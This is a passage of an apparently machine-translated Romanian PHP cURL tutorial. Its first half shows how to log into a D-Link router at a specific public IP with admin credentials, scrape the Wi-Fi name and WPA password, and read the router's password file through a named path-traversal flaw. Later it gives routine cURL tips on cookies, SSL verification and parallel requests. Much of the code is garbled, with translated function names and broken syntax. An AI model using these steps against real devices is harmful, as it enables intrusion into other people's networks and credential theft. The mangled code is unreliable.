    Folosesc Wireshark. Acest program este conceput pentru a adulmeca (intercepta) traficul. Și în ea este foarte convenabil să vedeți ce anume este transmis pe site.

    Urmăriți acest mic videoclip:

    Aceste. cu adresa unde sunt transferate datele, am ghicit bine. Dar șirul transmis s-a dovedit a fi mult mai complicat.

    Am introdus parametrul corect și, de asemenea, am modificat ușor scriptul, astfel încât nu numai să se conecteze, ci și să primească ceva de la router:

    0) ( echo "Eroare curl: " . curl_error($ch); ) else ( $target_url2 = "http://188.35.8.64:8080/bsc_wlan.php"; $ch2 = curl_init($target_url2); curl_setopt($ ch2, CURLOPT_RETURNTRANSFER, 1 $response_data2 = curl_exec($ch2); , "", $results2); $results2 = str_replace("";", "", $results2); echo "Numele rețelei Wi-fi: $rezultate2
    "; preg_match("|f_wpa.wpapsk1.value(.*)";|", $response_data2, $results3); $rezultate3 = str_replace("f_wpa.wpapsk1.value", "", $rezultate3);$rezultate3 = str_inlocuire("="", "", $rezultate3); $rezultate3 = str_inlocuire("";", "", $rezultate3);

    echo „Parola rețelei Wi-Fi:

    $rezultate3

    "; ) curl_close($ch); ?>

    Apropo, dacă proprietarul actualizează parola (dar nu actualizează firmware-ul), atunci noua parolă poate fi întotdeauna vizualizată la http://188.35.8.64:8080/model/__show_info.php?REQUIRE_FILE=/var/etc /httpasswd

    (Aceasta este o vulnerabilitate binecunoscută în routerele D-Link DIR-300, D-Link DIR-320 și D-Link DAP-1353).

    Autentificare HTTP cURL pe linia de comandă

    Cunoaștem deja adresa completă, precum și șirul care urmează să fie transmis. Deci e simplu:

    Curl --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.php

    Cred că totul este clar, întrucât am luat deja în considerare aceste termene. Daca cineva nu intelege, intreaba in comentarii.

    Un exemplu de utilizare a cURL pentru a prelua și analiza date ar fi următorul set de comenzi:

    Curl -s --data "ACTION_POST=LOGIN&FILECODE=&VERIFICATION_CODE=&LOGIN_USER=admin&LOGIN_PASSWD=qwerasdfzxcv&login=Log+In+&VER_CODE=" http://188.35.8.64:8080/login.35.8.64:8080/login.php &&n; " && echo „Numele rețelei Wi-Fi” && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f.ssid.value = "(.)*";" | sed "s/f.ssid.value = "//" | sed "s/";//" && echo "Parola rețelei Wi-Fi" && curl -s http://188.35.8.64:8080/bsc_wlan.php | grep -E "f_wpa.wpapsk1.(.)*";" | sed "s/f_wpa.wpapsk1.value//" | sed "s/";//" | sed "s/="//"

    Cazuri complexe de autorizare: AJAX, JQuery, JavaScript etc.

    • Ar fi mai corect să scriem acest titlu astfel: Cazuri de autorizare „Complexe”. Aceste. Pune cuvântul „complicat” între ghilimele. Par complicate doar la prima vedere, când nu este clar: unde are loc trimiterea, ce nume de câmpuri sunt, ce anume este trimis etc.
    • Dar, de fapt, toate se rezumă la metodele POST sau GET. Pentru a înțelege exact ce se trimite, puteți salva pagina cu formularul pe disc și adăugați o funcție de afișare a datelor generate pentru trimitere la butonul de trimitere. Sau chiar mai simplu - ca mine, Wireshark.

    Toate acestea se pot face folosind metode de bază cURL, dar nu voi intra în asta. Lecția a fost deja suficient de lungă, dar am vrut să arăt și câteva trucuri cu cURL.

    Sfaturi și trucuri cURL

    cURL și primirea cookie-urilor în plus față de CURLOPT_COOKIEJAR

    Cred că este deja clar că cURL gestionează corect cookie-urile - le stochează, le folosește atunci când serverul le solicită etc. Dar uneori cookie-urile trebuie salvate. Există o opțiune pentru aceasta numită CURLOPT_COOKIEJAR, dar nu este întotdeauna posibil să o utilizați. Acesta este ceea ce este dedicat primul nostru truc.

    Uneori, din cauza modului în care PHP este configurat pe server, opțiuni precum CURLOPT_COOKIEJAR (vă permite să salvați cookie-urile primite într-un fișier) și CURLOPT_COOKIEFILE (vă permite să utilizați cookie-uri dintr-un fișier) nu ne sunt disponibile. Deoarece ei spun că folosind aceste opțiuni putem fura orice fișier de pe serverul lor. Iată soluția la această problemă:

    1) Nu folosim CURLOPT_FOLLOWLOCATION

    2) Folosiți curl_setopt($ch, CURLOPT_HEADER, 1)

    3) Colectați cookie-uri din antet astfel:

    Preg_match_all("|Set-Cookie: (.*);|U", $conținut, $rezultate); $cookies = implode(";", $rezultate);

    4) Setați-le folosind curl_setopt($ch, CURLOPT_COOKIE, $cookies);

    Al doilea sfat. Ne putem transforma din atacatori în victime. Pentru a evita să devenim victima unui atac de tip om-in-the-middle, facem asta.

    Vă rugăm, toată lumea, opriți setarea CURLOPT_SSL_VERIFYPEER la fals sau 0. Dacă instalarea dvs. PHP nu are un set actualizat de certificate CA rădăcină, descărcați unul de pe site-ul web curl și salvați-l pe serverul dvs.:

    Apoi setați calea în fișierul dvs. php.ini, de exemplu pe Windows:

    Curl.cainfo=c:phpcacert.pem

    Dezactivarea CURLOPT_SSL_VERIFYPEER permite un atac de tip om-in-the-middle (MITM), pe care nu-l dorim!

    Ei bine, ultimul sfat pentru azi. Știați că sunt posibile un număr mare de solicitări de curl asincrone?

    Pentru aceasta puteți folosi curl_multi_init. Detalii și exemplu de cod în documentația oficială http://php.net/manual/ru/function.curl-multi-init.php